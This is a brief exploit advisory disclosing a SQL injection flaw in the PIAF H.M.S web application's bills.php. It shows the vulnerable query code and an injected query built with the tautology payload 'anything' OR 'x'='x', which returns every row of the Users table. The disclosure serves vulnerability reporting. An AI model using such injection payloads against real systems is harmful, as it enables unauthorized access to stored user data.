# Exploit Title: PIAF H.M.S - SQL Injection # Date: 28/10/2012 # Author: Michał Błaszczak # Website: http://blaszczakm.blogspot.com # Vendor Homepage: http://code.google.com/p/piafhms/ file: bills.php line: 86-87 $query = $query . " ORDER BY ID DESC"; printf($query); query: SELECT * FROM `Users` WHERE `Room` = 'anything' OR 'x'='x' ORDER BY ID DESC Michał Błaszczak blaszczakm.blogspot.com